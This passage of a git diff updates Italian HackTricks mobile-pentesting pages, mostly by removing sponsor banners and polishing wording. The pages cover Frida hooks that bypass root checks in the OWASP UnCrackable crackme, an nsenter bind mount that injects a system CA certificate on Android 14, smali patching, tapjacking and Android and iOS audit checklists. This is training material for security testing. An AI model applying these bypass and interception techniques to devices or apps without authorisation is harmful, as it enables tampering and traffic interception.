Frida**. **Altrimenti**, l'utente dovrà creare un **singolo script per ogni applicazione** che desidera testare. ## Tutorial @@ -101,7 +97,7 @@ android hooking list activities android hooking list services android hooking list receivers ``` -Frida lancerà un errore se non viene trovata alcuna +Frida lancerà un errore se non viene trovata #### Ottenere l'attività corrente ```bash @@ -111,7 +107,7 @@ android hooking get current_activity #### Cerca Classi -Iniziamo a cercare classi all'interno della nostra applicazione +Iniziamo a cercare classi all'interno della nostra applicazione. ```bash android hooking search classes asvid.github.io.fridaapp ``` @@ -133,7 +129,7 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity ``` ![](<../../../images/image (299).png>) -#### Elenca le classi +#### Elenco delle classi Puoi anche elencare tutte le classi che sono state caricate all'interno dell'applicazione corrente: ```bash @@ -229,10 +225,4 @@ exit - Non puoi usare le istanze delle classi per chiamare le funzioni dell'istanza. E non puoi creare nuove istanze delle classi e usarle per chiamare funzioni. - Non c'è una scorciatoia (come quella per sslpinnin) per hookare tutti i metodi crittografici comuni utilizzati dall'applicazione per vedere testo cifrato, testo in chiaro, chiavi, IV e algoritmi utilizzati. - - -**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index 6a9da84a8..6d8a6c48d 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -2,22 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} --- **Questo è un riassunto del post**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -## Solution 1 +## Soluzione 1 Basato su [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**Hook the \_exit()**\_ function e **decrypt function** in modo che stampi la flag nella console frida quando premi verifica: +**Hook la funzione \_exit()**\_ e **la funzione di decrittazione** in modo che stampi il flag nella console di frida quando premi verifica: ```javascript Java.perform(function () { send("Starting hooks OWASP uncrackable1...") @@ -60,7 +55,7 @@ send("Hooks installed.") Basato su [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**Collegare rootchecks** e decrittare la funzione in modo che stampi il flag nella console frida quando premi verifica: +**Collegare rootchecks** e decrittare la funzione in modo che stampi il flag nella console di frida quando premi verifica: ```javascript Java.perform(function () { send("Starting hooks OWASP uncrackable1...") @@ -120,10 +115,4 @@ return false send("Hooks installed.") }) ``` -
- -**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium di **bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 964aa38de..57683b157 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -2,9 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Su una Macchina Virtuale @@ -12,7 +9,7 @@ Prima di tutto, devi scaricare il certificato Der da Burp. Puoi farlo in _**Prox ![](<../../images/image (367).png>) -**Esporta il certificato in formato Der** e facciamo **trasformarlo** in una forma che **Android** sarà in grado di **comprendere.** Nota che **per configurare il certificato burp sulla macchina Android in AVD** devi **eseguire** questa macchina **con** l'opzione **`-writable-system`**.\ +**Esporta il certificato in formato Der** e **trasformiamolo** in una forma che **Android** sarà in grado di **comprendere.** Nota che **per configurare il certificato burp sulla macchina Android in AVD** devi **eseguire** questa macchina **con** l'opzione **`-writable-system`**.\ Ad esempio, puoi eseguirlo così: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system @@ -32,7 +29,7 @@ Una volta che la **macchina ha terminato il riavvio**, il certificato burp sarà ## Utilizzando Magisc -Se hai **rootato il tuo dispositivo con Magisc** (forse un emulatore), e non puoi **seguire** i **passi** precedenti per installare il certificato Burp perché il **filesystem è di sola lettura** e non puoi rimontarlo in scrittura, c'è un altro modo. +Se hai **rootato il tuo dispositivo con Magisc** (forse un emulatore), e **non puoi seguire** i **passi** precedenti per installare il certificato Burp perché il **filesystem è in sola lettura** e non puoi rimontarlo in scrittura, c'è un altro modo. Spiegato in [**questo video**](https://www.youtube.com/watch?v=qQicUW0svB8) devi: @@ -48,13 +45,13 @@ Spiegato in [**questo video**](https://www.youtube.com/watch?v=qQicUW0svB8) devi
-- Dopo il riavvio, vai su `Credenziali attendibili` -> `SYSTEM` e controlla che il certificato Postswigger sia presente +- Dopo il riavvio, vai su `Credenziali attendibili` -> `SISTEMA` e controlla che il certificato Postswigger sia presente
## Post Android 14 -Nell'ultima versione di Android 14, è stato osservato un cambiamento significativo nella gestione dei certificati dell'Autorità di Certificazione (CA) fidati di sistema. In precedenza, questi certificati erano ospitati in **`/system/etc/security/cacerts/`**, accessibili e modificabili dagli utenti con privilegi di root, il che consentiva un'applicazione immediata in tutto il sistema. Tuttavia, con Android 14, la posizione di archiviazione è stata spostata in **`/apex/com.android.conscrypt/cacerts`**, una directory all'interno del percorso **`/apex`**, che è di natura immutabile. +Nell'ultima versione di Android 14, è stato osservato un cambiamento significativo nella gestione dei certificati dell'Autorità di Certificazione (CA) fidati di sistema. In precedenza, questi certificati erano ospitati in **`/system/etc/security/cacerts/`**, accessibili e modificabili dagli utenti con privilegi di root, il che consentiva un'applicazione immediata in tutto il sistema. Tuttavia, con Android 14, la posizione di archiviazione è stata spostata in **`/apex/com.android.conscrypt/cacerts`**, una directory all'interno del percorso **`/apex`**, che è immutabile per natura. I tentativi di rimontare il **percorso APEX cacerts** come scrivibile incontrano un fallimento, poiché il sistema non consente tali operazioni. Anche i tentativi di smontare o sovrapporre la directory con un file system temporaneo (tmpfs) non eludono l'immutabilità; le applicazioni continuano ad accedere ai dati del certificato originale indipendentemente dalle modifiche a livello di file system. Questa resilienza è dovuta al fatto che il mount **`/apex`** è configurato con propagazione PRIVATA, garantendo che eventuali modifiche all'interno della directory **`/apex`** non influenzino altri processi. @@ -125,7 +122,7 @@ echo "System certificate injected" mount -t tmpfs tmpfs /system/etc/security/cacerts ``` 2. **Preparazione dei certificati CA**: Dopo aver impostato la directory scrivibile, i certificati CA che si intendono utilizzare devono essere copiati in questa directory. Questo potrebbe comportare la copia dei certificati predefiniti da `/apex/com.android.conscrypt/cacerts/`. È essenziale regolare le autorizzazioni e le etichette SELinux di questi certificati di conseguenza. -3. **Montaggio Bind per Zygote**: Utilizzando `nsenter`, si entra nello spazio dei nomi di montaggio di Zygote. Zygote, essendo il processo responsabile dell'avvio delle applicazioni Android, richiede questo passaggio per garantire che tutte le applicazioni avviate d'ora in poi utilizzino i certificati CA appena configurati. Il comando utilizzato è: +3. **Montaggio Bind per Zygote**: Utilizzando `nsenter`, si entra nello spazio dei nomi di montaggio di Zygote. Zygote, essendo il processo responsabile dell'avvio delle applicazioni Android, richiede questo passaggio per garantire che tutte le applicazioni avviate d'ora in poi utilizzino i nuovi certificati CA configurati. Il comando utilizzato è: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` @@ -141,8 +138,5 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/ - [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 18ccda997..0035f61cc 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -2,27 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione: - -{% embed url="https://academy.8ksec.io/" %} - **Per ulteriori informazioni controlla:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Le app Android possono utilizzare librerie native, tipicamente scritte in C o C++, per compiti critici in termini di prestazioni. Anche i creatori di malware utilizzano queste librerie, poiché sono più difficili da ingegnerizzare a ritroso rispetto al bytecode DEX. La sezione enfatizza le competenze di reverse engineering su misura per Android, piuttosto che insegnare linguaggi di assemblaggio. Sono fornite versioni ARM e x86 delle librerie per compatibilità. +Le app Android possono utilizzare librerie native, tipicamente scritte in C o C++, per compiti critici per le prestazioni. Anche i creatori di malware utilizzano queste librerie, poiché sono più difficili da ingegnerizzare a ritroso rispetto al bytecode DEX. La sezione enfatizza le competenze di reverse engineering specifiche per Android, piuttosto che insegnare linguaggi di assemblaggio. Sono fornite versioni ARM e x86 delle librerie per compatibilità. ### Punti Chiave: - **Librerie Native nelle App Android:** - Utilizzate per compiti intensivi in termini di prestazioni. - Scritte in C o C++, rendendo il reverse engineering una sfida. -- Trovate in formato `.so` (shared object), simile ai binari Linux. +- Trovate in formato `.so` (oggetto condiviso), simile ai binari Linux. - I creatori di malware preferiscono il codice nativo per rendere l'analisi più difficile. - **Java Native Interface (JNI) & Android NDK:** -- JNI consente ai metodi Java di essere implementati in codice nativo. +- JNI consente di implementare metodi Java in codice nativo. - NDK è un insieme di strumenti specifici per Android per scrivere codice nativo. -- JNI e NDK collegano il codice Java (o Kotlin) con le librerie native. +- JNI e NDK collegano il codice Java (o Kotlin) con librerie native. - **Caricamento ed Esecuzione delle Librerie:** - Le librerie vengono caricate in memoria utilizzando `System.loadLibrary` o `System.load`. - JNI_OnLoad viene eseguito al caricamento della libreria. @@ -39,18 +33,12 @@ Le app Android possono utilizzare librerie native, tipicamente scritte in C o C+ - **Apprendimento dell'Assembly ARM:** - Suggerito per una comprensione più profonda dell'architettura sottostante. -- [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) da Azeria Labs è raccomandato. +- [Nozioni di base sull'Assembly ARM](https://azeria-labs.com/writing-arm-assembly-part-1/) da Azeria Labs è raccomandato. - **Documentazione JNI & NDK:** - [Specifiche JNI di Oracle](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) - [Suggerimenti JNI di Android](https://developer.android.com/training/articles/perf-jni) - [Introduzione all'NDK](https://developer.android.com/ndk/guides/) - **Debugging delle Librerie Native:** -- [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) - -
- -Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione: - -{% embed url="https://academy.8ksec.io/" %} +- [Debug delle Librerie Native Android Utilizzando JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/smali-changes.md b/src/mobile-pentesting/android-app-pentesting/smali-changes.md index 38458a670..b4843965d 100644 --- a/src/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/src/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -1,18 +1,12 @@ -# Smali - Decompilazione/\[Modifica]/Compilazione +# Smali - Decompiling/\[Modifying]/Compiling {{#include ../../banners/hacktricks-training.md}} -
- -Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni una certificazione: - -{% embed url="https://academy.8ksec.io/" %} - -A volte è interessante modificare il codice dell'applicazione per accedere a informazioni nascoste per te (forse password o flag ben offuscate). Quindi, potrebbe essere interessante decompilare l'apk, modificare il codice e ricompilarlo. +A volte è interessante modificare il codice dell'applicazione per accedere a informazioni nascoste per te (forse password o flag ben offuscati). Quindi, potrebbe essere interessante decompilare l'apk, modificare il codice e ricompilarlo. **Riferimento agli Opcode:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) -## Metodo Veloce +## Modo Veloce Utilizzando **Visual Studio Code** e l'estensione [APKLab](https://github.com/APKLab/APKLab), puoi **decompilare automaticamente**, modificare, **ricompilare**, firmare e installare l'applicazione senza eseguire alcun comando. @@ -46,13 +40,13 @@ Oppure puoi [**controllare qui sotto alcune modifiche Smali spiegate**](smali-ch ## Ricompilare l'APK -Dopo aver modificato il codice puoi **ricompilare** il codice usando: +Dopo aver modificato il codice, puoi **ricompilare** il codice usando: ```bash apktool b . #In the folder generated when you decompiled the application ``` Compilerà il nuovo APK all'interno della cartella _**dist**_. -Se **apktool** genera un **errore**, prova a [installare l'**ultima versione**](https://ibotpeaches.github.io/Apktool/install/) +Se **apktool** genera un **errore**, prova[ a installare l'**ultima versione**](https://ibotpeaches.github.io/Apktool/install/) ### **Firma il nuovo APK** @@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/ move-result-object v12 invoke-virtual {v12}, Landroid/widget/Toast;->show()V ``` -
- -Approfondisci la tua esperienza in **Sicurezza Mobile** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index 4ca9ad87a..fff6342f3 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,14 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## **Informazioni di base** -**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app dell'obiettivo, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\ -In effetti, sta **accecato l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**. +**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\ +In effetti, sta **ciecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**. ### Rilevamento @@ -56,14 +52,11 @@ Un progetto di esempio che implementa **FloatingWindowApp**, che può essere uti Puoi utilizzare [**qark**](https://github.com/linkedin/qark) con i parametri `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` per creare un'applicazione malevola per testare possibili vulnerabilità di **Tapjacking**.\ -La mitigazione è relativamente semplice poiché lo sviluppatore può scegliere di non ricevere eventi touch quando una vista è coperta da un'altra. Utilizzando il [Riferimento per sviluppatori Android](https://developer.android.com/reference/android/view/View#security): +La mitigazione è relativamente semplice poiché lo sviluppatore può scegliere di non ricevere eventi touch quando una vista è coperta da un'altra. Utilizzando il [Riferimento per gli sviluppatori Android](https://developer.android.com/reference/android/view/View#security): > A volte è essenziale che un'applicazione possa verificare che un'azione venga eseguita con la piena conoscenza e il consenso dell'utente, come concedere una richiesta di autorizzazione, effettuare un acquisto o cliccare su un annuncio. Sfortunatamente, un'applicazione malevola potrebbe cercare di ingannare l'utente nel compiere queste azioni, senza che se ne accorga, nascondendo lo scopo previsto della vista. Come rimedio, il framework offre un meccanismo di filtraggio dei tocchi che può essere utilizzato per migliorare la sicurezza delle viste che forniscono accesso a funzionalità sensibili. > > Per abilitare il filtraggio dei tocchi, chiama [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) oppure imposta l'attributo di layout android:filterTouchesWhenObscured su true. Quando abilitato, il framework scarterà i tocchi ricevuti ogni volta che la finestra della vista è oscurata da un'altra finestra visibile. Di conseguenza, la vista non riceverà tocchi ogni volta che un toast, un dialogo o un'altra finestra appare sopra la finestra della vista. -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-checklist.md b/src/mobile-pentesting/android-checklist.md index a3a1b0bb0..687b767b2 100644 --- a/src/mobile-pentesting/android-checklist.md +++ b/src/mobile-pentesting/android-checklist.md @@ -2,11 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione: - -{% embed url="https://academy.8ksec.io/" %} ### [Impara le basi di Android](android-app-pentesting/#2-android-application-fundamentals) @@ -29,7 +24,7 @@ Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padron - [ ] Controlla l'uso di [offuscamento](android-checklist.md#some-obfuscation-deobfuscation-information), verifica se il mobile è stato rootato, se viene utilizzato un emulatore e controlli anti-manomissione. [Leggi qui per maggiori informazioni](android-app-pentesting/#other-checks). - [ ] Le applicazioni sensibili (come le app bancarie) dovrebbero controllare se il mobile è rootato e agire di conseguenza. - [ ] Cerca [stringhe interessanti](android-app-pentesting/#looking-for-interesting-info) (password, URL, API, crittografia, backdoor, token, UUID Bluetooth...). -- [ ] Attenzione speciale alle [API firebase](android-app-pentesting/#firebase). +- [ ] Attenzione speciale alle [API di firebase](android-app-pentesting/#firebase). - [ ] [Leggi il manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) - [ ] Controlla se l'applicazione è in modalità debug e prova a "sfruttarla" - [ ] Controlla se l'APK consente backup @@ -62,10 +57,5 @@ Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padron - [ ] [Leggi qui](android-app-pentesting/#obfuscating-deobfuscating-code) -
- -Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting-checklist.md b/src/mobile-pentesting/ios-pentesting-checklist.md index 63fd889c1..d48f0898d 100644 --- a/src/mobile-pentesting/ios-pentesting-checklist.md +++ b/src/mobile-pentesting/ios-pentesting-checklist.md @@ -1,13 +1,5 @@ # iOS Pentesting Checklist -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari più avanzati** al mondo.\ -Accedi oggi: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../banners/hacktricks-training.md}} ### Preparazione @@ -24,86 +16,78 @@ Accedi oggi: - [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) configurazione errata. - [ ] [**Database Realm**](ios-pentesting/#realm-databases) possono memorizzare informazioni sensibili. - [ ] [**Database Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) possono memorizzare informazioni sensibili. -- [ ] [**Cookie binari**](ios-pentesting/#cookies) possono memorizzare informazioni sensibili. -- [ ] [**Dati di cache**](ios-pentesting/#cache) possono memorizzare informazioni sensibili. -- [ ] [**Snapshot automatici**](ios-pentesting/#snapshots) possono salvare informazioni visive sensibili. -- [ ] [**Keychain**](ios-pentesting/#keychain) è solitamente utilizzato per memorizzare informazioni sensibili che possono essere lasciate quando si rivende il telefono. -- [ ] In sintesi, **controlla solo le informazioni sensibili salvate dall'applicazione nel filesystem**. +- [ ] [**Cookie binari**](ios-pentesting/#cookies) possono memorizzare informazioni sensibili +- [ ] [**Dati di cache**](ios-pentesting/#cache) possono memorizzare informazioni sensibili +- [ ] [**Snapshot automatici**](ios-pentesting/#snapshots) possono salvare informazioni visive sensibili +- [ ] [**Keychain**](ios-pentesting/#keychain) è solitamente utilizzato per memorizzare informazioni sensibili che possono rimanere quando si rivende il telefono. +- [ ] In sintesi, **controlla le informazioni sensibili salvate dall'applicazione nel filesystem** ### Tastiere - [ ] L'applicazione [**consente di utilizzare tastiere personalizzate**](ios-pentesting/#custom-keyboards-keyboard-cache)? -- [ ] Controlla se le informazioni sensibili sono salvate nei [**file di cache delle tastiere**](ios-pentesting/#custom-keyboards-keyboard-cache). +- [ ] Controlla se le informazioni sensibili sono salvate nei [**file di cache delle tastiere**](ios-pentesting/#custom-keyboards-keyboard-cache) ### **Log** -- [ ] Controlla se [**le informazioni sensibili vengono registrate**](ios-pentesting/#logs). +- [ ] Controlla se [**le informazioni sensibili vengono registrate**](ios-pentesting/#logs) ### Backup -- [ ] [**I backup**](ios-pentesting/#backups) possono essere utilizzati per **accedere alle informazioni sensibili** salvate nel filesystem (controlla il punto iniziale di questo checklist). -- [ ] Inoltre, [**i backup**](ios-pentesting/#backups) possono essere utilizzati per **modificare alcune configurazioni dell'applicazione**, quindi **ripristinare** il backup sul telefono, e poiché la **configurazione modificata** è **caricata**, alcune **funzionalità (di sicurezza)** potrebbero essere **bypassate**. +- [ ] [**I backup**](ios-pentesting/#backups) possono essere utilizzati per **accedere alle informazioni sensibili** salvate nel filesystem (controlla il punto iniziale di questo checklist) +- [ ] Inoltre, [**i backup**](ios-pentesting/#backups) possono essere utilizzati per **modificare alcune configurazioni dell'applicazione**, quindi **ripristinare** il backup sul telefono, e poiché la **configurazione modificata** è **caricata**, alcune (funzionalità di sicurezza) possono essere **bypassate** ### **Memoria delle Applicazioni** -- [ ] Controlla le informazioni sensibili all'interno della [**memoria dell'applicazione**](ios-pentesting/#testing-memory-for-sensitive-data). +- [ ] Controlla le informazioni sensibili all'interno della [**memoria dell'applicazione**](ios-pentesting/#testing-memory-for-sensitive-data) ### **Crittografia Rottura** -- [ ] Controlla se puoi trovare [**password utilizzate per la crittografia**](ios-pentesting/#broken-cryptography). -- [ ] Controlla l'uso di [**algoritmi deprecati/deboli**](ios-pentesting/#broken-cryptography) per inviare/memorizzare dati sensibili. -- [ ] [**Hook e monitora le funzioni di crittografia**](ios-pentesting/#broken-cryptography). +- [ ] Controlla se puoi trovare [**password utilizzate per la crittografia**](ios-pentesting/#broken-cryptography) +- [ ] Controlla l'uso di [**algoritmi deprecati/deboli**](ios-pentesting/#broken-cryptography) per inviare/memorizzare dati sensibili +- [ ] [**Hook e monitora le funzioni di crittografia**](ios-pentesting/#broken-cryptography) ### **Autenticazione Locale** - [ ] Se viene utilizzata un'**autenticazione locale** nell'applicazione, dovresti controllare come funziona l'autenticazione. -- [ ] Se utilizza il [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), potrebbe essere facilmente bypassato. -- [ ] Se utilizza una [**funzione che può essere bypassata dinamicamente**](ios-pentesting/#local-authentication-using-keychain), potresti creare uno script frida personalizzato. +- [ ] Se utilizza il [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) potrebbe essere facilmente bypassato +- [ ] Se utilizza una [**funzione che può essere bypassata dinamicamente**](ios-pentesting/#local-authentication-using-keychain) potresti creare uno script frida personalizzato ### Esposizione di Funzionalità Sensibili Tramite IPC -- [**Gestori URI personalizzati / Deeplinks / Schemi personalizzati**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes). -- [ ] Controlla se l'applicazione **registra qualche protocollo/schema**. -- [ ] Controlla se l'applicazione **si registra per utilizzare** qualche protocollo/schema. -- [ ] Controlla se l'applicazione **si aspetta di ricevere qualche tipo di informazione sensibile** dallo schema personalizzato che può essere **intercettato** da un'altra applicazione che registra lo stesso schema. -- [ ] Controlla se l'applicazione **non controlla e sanitizza** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata**. -- [ ] Controlla se l'applicazione **espone qualche azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato. -- [**Link Universali**](ios-pentesting/#universal-links). -- [ ] Controlla se l'applicazione **registra qualche protocollo/schema universale**. -- [ ] Controlla il file `apple-app-site-association`. -- [ ] Controlla se l'applicazione **non controlla e sanitizza** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata**. -- [ ] Controlla se l'applicazione **espone qualche azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato. -- [**Condivisione UIActivity**](ios-pentesting/ios-uiactivity-sharing.md). -- [ ] Controlla se l'applicazione può ricevere UIActivities e se è possibile sfruttare qualche vulnerabilità con attività appositamente create. -- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md). -- [ ] Controlla se l'applicazione **copia qualcosa negli appunti generali**. -- [ ] Controlla se l'applicazione **utilizza i dati dagli appunti generali per qualcosa**. -- [ ] Monitora gli appunti per vedere se qualche **dato sensibile viene copiato**. -- [**Estensioni App**](ios-pentesting/ios-app-extensions.md). +- [**Gestori URI personalizzati / Deeplinks / Schemi personalizzati**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) +- [ ] Controlla se l'applicazione **sta registrando un protocollo/schema** +- [ ] Controlla se l'applicazione **si sta registrando per utilizzare** un protocollo/schema +- [ ] Controlla se l'applicazione **si aspetta di ricevere qualsiasi tipo di informazione sensibile** dallo schema personalizzato che può essere **intercettato** da un'altra applicazione che registra lo stesso schema +- [ ] Controlla se l'applicazione **non sta controllando e sanitizzando** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata** +- [ ] Controlla se l'applicazione **espone qualsiasi azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato +- [**Link Universali**](ios-pentesting/#universal-links) +- [ ] Controlla se l'applicazione **sta registrando un protocollo/schema universale** +- [ ] Controlla il file `apple-app-site-association` +- [ ] Controlla se l'applicazione **non sta controllando e sanitizzando** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata** +- [ ] Controlla se l'applicazione **espone qualsiasi azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato +- [**Condivisione UIActivity**](ios-pentesting/ios-uiactivity-sharing.md) +- [ ] Controlla se l'applicazione può ricevere UIActivities e se è possibile sfruttare qualche vulnerabilità con attività appositamente create +- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) +- [ ] Controlla se l'applicazione **copia qualcosa negli appunti generali** +- [ ] Controlla se l'applicazione **utilizza i dati degli appunti generali per qualcosa** +- [ ] Monitora gli appunti per vedere se qualche **dati sensibili viene copiato** +- [**Estensioni App**](ios-pentesting/ios-app-extensions.md) - [ ] L'applicazione **utilizza qualche estensione**? -- [**WebViews**](ios-pentesting/ios-webviews.md). -- [ ] Controlla che tipo di webviews vengono utilizzati. -- [ ] Controlla lo stato di **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**. -- [ ] Controlla se il webview può **accedere ai file locali** con il protocollo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`). -- [ ] Controlla se Javascript può accedere ai **metodi** **Native** (`JSContext`, `postMessage`). +- [**WebViews**](ios-pentesting/ios-webviews.md) +- [ ] Controlla quale tipo di webviews vengono utilizzati +- [ ] Controlla lo stato di **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** +- [ ] Controlla se il webview può **accedere a file locali** con il protocollo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) +- [ ] Controlla se Javascript può accedere a **metodi** **Native** (`JSContext`, `postMessage`) ### Comunicazione di Rete - [ ] Esegui un [**MitM sulla comunicazione**](ios-pentesting/#network-communication) e cerca vulnerabilità web. -- [ ] Controlla se il [**nome host del certificato**](ios-pentesting/#hostname-check) viene controllato. -- [ ] Controlla/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning). +- [ ] Controlla se il [**nome host del certificato**](ios-pentesting/#hostname-check) viene controllato +- [ ] Controlla/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning) ### **Varie** -- [ ] Controlla per meccanismi di [**patching/aggiornamento automatico**](ios-pentesting/#hot-patching-enforced-updateing). -- [ ] Controlla per [**librerie di terze parti malevole**](ios-pentesting/#third-parties). +- [ ] Controlla per meccanismi di 